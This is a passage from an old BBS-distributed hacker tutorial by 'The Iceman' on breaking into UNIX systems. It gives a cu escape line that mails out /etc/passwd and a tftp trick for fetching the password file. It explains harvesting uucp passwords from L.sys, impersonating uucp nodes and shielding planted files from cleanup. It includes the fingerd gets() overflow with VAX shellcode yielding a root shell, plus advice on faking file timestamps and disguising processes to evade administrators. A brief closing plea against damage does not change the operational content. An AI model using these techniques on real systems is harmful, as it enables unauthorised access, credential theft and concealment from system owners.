the DIR entries, uucp uses the ACU entries. This makes it easy to find out how each serial port is referenced, what rate it runs at etc. The above example shows that tty00 is a direct callout line. The baud rates usable are 300-9600, with the higher rates being for other machines rather than modems. To find out lines coming into the system, check the files dialin and dialup in the /etc directory. These files define which tty lines go through the login secondary password sequence for remote users and can only be used for dialling in. A useful command is cu ("Call UNIX"), which dials out of the system: cu dir atdt1742 would dial your local PACNET node at 1200 baud (assuming a Hayes modem). The dir gives you a direct line. 1200 baud is the default speed, you can change it with -s, eg cu -s300 -acua0 1742 The second switch tells cu to dial automatically; the dial command is generated by /usr/lib/uucp/dial. Note that some older versions of cu won't support this switch. The cu command is another nice target for the sort of program presented above as a login decoy - it can give "line noise" as the reason for failing, which is much more believable by the victim than a "typing error". Another thing to look for is the fact that on some versions of cu the local machine cannot tell how a line was generated when it gets it from the remote machine. It just has a line of text. Now cu allows escape sequences that are not transmitted, but instead cause certain useful functions to be performed. So for example any line beginning with "~%put" gets cu to copy a file from the local machine to the remote one; "~%take" does just the opposite. Lines beginning with ! cause the command to be executed on the local machine (! being the standard shell escape character). Sometimes, the local machine cannot tell where the command is originating from, making it is possible to do such fun things as: ~!mail
< /etc/passwd which mails the password file anywhere you want. Another possibility for getting a copy of the password file is to use a loophole in the tftp ("Trivial File Transfer Protocol") program. Try connecting to a system and issuing the command: get /etc/motd There is a command similar to cu called ct: This is used to call out to a terminal to let that terminal log onto the machine. This is *very* useful if you can get it because the target machine gets to pay the phone bill! There is another command used to connect UNIX machines: The ubiquitous uucp ("UNIX-UNIX copy"). This allows multiple machines to be joined to create a virtual environ- ment that lets you work on any machine. The equivalence between cu and uucp is shown below: Source machine: Dest machine: cu -ltty00 -s9600 dir getty 9600 tty00 login username csh uucp file getty 9600 tty00 !~/ login uucp uucico The uucico ("UNIX-UNIX copy-in copy-out") process is generated by uucp, and calls the destination system. The login sequence is the same as for cu except that instead of getting a shell at the end of the sequence, another uucico sequence is run that communicates with the calling process. Of course this can be done via modem too. To find which systems are accessible from your system, use the command uuname. The directories used for file transfer are in /usr/spool/uucp. This directory conatins LOGFILE, which, if used with the 'tail -f LOGFILE' command provides a useful runtime window into transfer operations. All uucp and mail transactions go into the directory. A transaction usually consists of a control file (C.*), and the data file (D.*). When one machine is used as the central node, its uucp directory can fill up with a very large number of files. Regular maintenance and constant monitoring of the lock files (LCK* and STST*) is required by the system to ensure that everything is running all right. The next directory to look out for is uucppublic (sometimes found in the shell variable PUBDIR), which contains directories named after each user, to store information in transit. As such these dirs usually have all permission bits set so copying files to other people is possible. To copy files from one system to another, use the command: uucp * !~/ This copies everything in the current directory to the system , where the ~/ prefix to the expands to /usr/spool/uucppublic. Also, ^ in expands in uucp to $HOME, and ^/ expands in uucp to $PUBDIR. One things to watch for is uuclean type files, usually run by cron. These look for files in uucp directories that haven't been used for a while and zap them to free up space. If you have anything of value in a uucp directory, you can either make sure you move it soon, or change crontab to either get uuclean to bypass your directory, or add your own entry to touch your files every so often to make them look recent. A suitable command to do this is: find /usr/spool/uucppublic -exec touch {} \; which will update the access- and modify-time of the file. The {} puts in the literal name that matched the find statement. You would want to put this in a scheduled process that runs more often than the cleanup program does. Note, however, that modifications to crontab are a sure sign that something fishy is going on to the superuser. uucp is a major security risk for UNIX systems. Usually all files in uucp directories have permission modes rwxrwxrwx. uucp also requires all intermediate directories to have rw permission for everyone, so if someone uucp's files straight to their $HOME, they must give rw permission to this directory to the world at large. When a remote system logs on using uucp, the capabilities the remote system has are stored in /usr/lib/uucp. The file L.cmds contains all the commands that can be executed from the remote system. If the remote system sends a command via uux (described below), it is only executed if the command is in L.cmds. The file USERFILE defines which dirs the remote system may access, the default being 'uucp, /' which allows process uucp to access directories from / down. The file L.sys contains the node names, phone numbers, login names, and passwords for all remote systems known to the central system. Needless to say this file is a real treasure trove for hackers. Unfortunately the owner is almost always root. If you can get into this file, the form will be: Type AccessTime AccessType Speed Number LoginSeq where: Type can be any of: remote - a remote system selector - a port contender direct - a direct line AccessTime is the time the system can be accesses, usually Any (== 24Hr) AccessType is either ACU or DIR Speed is the speed in baud Number is the phone number LoginSeq is the uucp login sequence. Note that uucp uses 'ogin' to dist- inguish it from 'Login' or 'login'. The sequence is the uucp login name followed by the uucp password. Note that uucp can be bypassed by calling uucico directly with the uusub call: /usr/lib/uucp/uusub -c You may need to do this if the paranoid superuser has changed permission for uucp. With some Berkeley systems after 4.1, if someone runs a 'door' script on the system, the rlogin logs them in on another machine as root and never asks for a root password. You'll be lucky to get this though (I've never had it happen). A program related to uucp is uux ("UNIX-UNIX Execute"), which as its name implies allows execution of programs on a remote system. Its main use is to start up the mail delivery machinery on a remote system after uucp has delivered the mail files to a spooling area. To ensure full generality, the remote system passes arguments to uux to a shell for execution. Now the far end of a uucp transaction needs only to see whether access to some file is legitimate, but the far end of a uux transaction must examine the command and its context and decide whether the result will be harmful. This is very difficult because the shell has all sorts of quoting conventions deliberately designed to hide certain types of strings until the proper time for their expansion. With sufficient programming experience it should be possible to do some interesting things here. I have never bothered to try it myself. Another thing worth trying is making your own personal copy of uucp. No special permissions are required, either to run the program or to access the phone lines. The private copy can assert that it is copying from anywhere, and there is no way for the target machine to verify this. Advanced Techniques: ==================== This sections describes a typical method of attack which is rather too specific to add to one of the above sections, and yet is a valid example of what can be done to become superuser on a system. It is intended to illustrate a typical means of attack, one of many which have been used to gain access to systems.... The finger program is a utility that allows users to obtain information about other users. It is usually used to indentify the full name or login of another user, whether or not the user is currently logged in, and possibly other information about the person such as telephone numbers and where he or she can be reached. The fingerd program is intended to run as a daemon to service remote requests using the finger protocol (described in RFC 742, SRI Network Information Centre). Basically, this daemon accepts connections from remote programs, reads a single line of input, and sends back output matching the received request. The standard C library calls do very little checking of input, leaving it up to the user to do such things as bounds checking and so on. In particular, the gets() call, which is used in fingerd, takes input to a buffer without doing any bounds checking. Now when a string of greater than 512 characters is passed to a fingerd daemon running on a VAX system under BSD 4.x, it overflows its input buffer and overwrites parts of the stack frame for the main() routine, so that the return address points into the buffer on the stack. The code on the stack at this point corresponded to: execve("/bin/sh", 0, 0); or: pushl $68732f '/sh\0' pushl $6e69622f '/bin' movl sp, r10 pushl $0 pushl $0 pushl r10 pushl $3 movl sp, ap chmk $3b which results in the creation of a shell with UID = 0. (On a non-VAX machine it results in the creation a core dump. However it is a simple matter of programming to rewrite this for practically any system). Time Stamps on Files: ===================== The following are the time stamps UNIX puts on files: Inode time: Updated by: =========== =========== Access time creat, mknod, pipe, utime, read Modify time creat, mknod, pipe, utime, write Create time creat, mknod, pipe, utime, write, chmod, chown, link However, anybody can change the access/modify (but not the create) time for any file - useful when you have patched a system file and want to cover your tracks. You can change the time with the utime() call, with touch, or or (as a last resort) fsdb, the file system debugger. Note that if the super- user is rather paranoid, you can touch a certain important system file (say getty, passwd, etc) and it will look to them as if it's been recently modified. You don't need to go to great lengths, even simple tricks like this can cause an appropriate amount of panic in the right places. Online Help: ============ UNIX has an online help facility in the form of the 'man' command. This command prints sections of the user manual given a command name. References to other commands take the form 'cmd-name ( section )'. The sections of the manual are: 1 Commands available to users 2 UNIX/C system call interfaces 3 C library routines 4 Special files 5 File formats and conventions 6 Games 7 Word processing packages 8 System maintenance commands and procedures. The user manual can act as an online thesaurus, giving you references to commands that perform many neat and interesting tricks that you wouldn't normally find out about. Playing about with man is a great way to spend a few hours. General Notes: ============== - When you move a file, UNIX keeps the old inode and therefore the GID and UID. - Use cp to set GID and UID to yourself. - Some files have the same inode, for example ex and vi are one and the same: The program checks argv[ 0 ] for which version of the program you want. Use ncheck -i to find all programs that belong to the same inode. Note that if you are running program you shouldn't be running, it is a good idea to obscure argv[ 0 ] with something innocuous so nobody can use the ps command to find out what you are actually doing. Another good idea is to periodically fork off a child copy of the program and have it kill its parent. In this way the process will continually change its process ID (PID), as well as making sure that it never seems to soak up excessive amounts of system time. - To execute a command at a specified time, use the at command: at HH:MM <; command...> - To check which user is running what, use: ps -ef > tmp/ps fgrep /tmp/ps Note that this is rather slow.... A much faster method is to use: w -d This prints all sorts of useful information about who is doing what, but only for the local group of terminals being used. - Finding text strings within files can be done using the 'strings' command. For example to dig all text strings out of the login command: strings /bin/login | more Note that the strings command is BSD only. Some Moralising: ================ While this document describes many ways in which to cause havoc on a UNIX system, you should always remember that people other than you also have a right to use the system. Crashing a VAX is trivial and juvenile. Setting up an unofficial information forwarding system in order to acquire a UseNet feed is not. I have never deliberately caused any damage on any system in which I have been a guest. Try and do the same. Last Words: =========== A good thing to do before you try your luck with the real thing is to practice on a private copy of UNIX such as PC-UNIX. Note that streamlined clones like QNX aren't very close to standard UNIX and shouldn't be relied on for low-level hacking. A read through the XINU book or a look at MINIX, Andy Tanenbaum's version of UNIX written for teaching, can be very educational. MINIX is available for US$79.95 (including full source) - this also includes source for system utilities etc - a goldmine for the hacker. With the current cost of a licence for SYSV source in five (six??) figures, the amount of up-to-date source on UNIX systems will probably approach zero in the near future, so a system like MINIX is well worth getting if you want to know what makes UNIX tick. MINIX is extensively discussed on NetNews, which you can get onto reasonably easily by impersonating a uucp node as described above. Enjoy, The Iceman. ------------------------------------------------------------------------------ AUTHOR : Iceman ------------------------------------------------------------------------------ Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. ------------------------------------------------------------------------------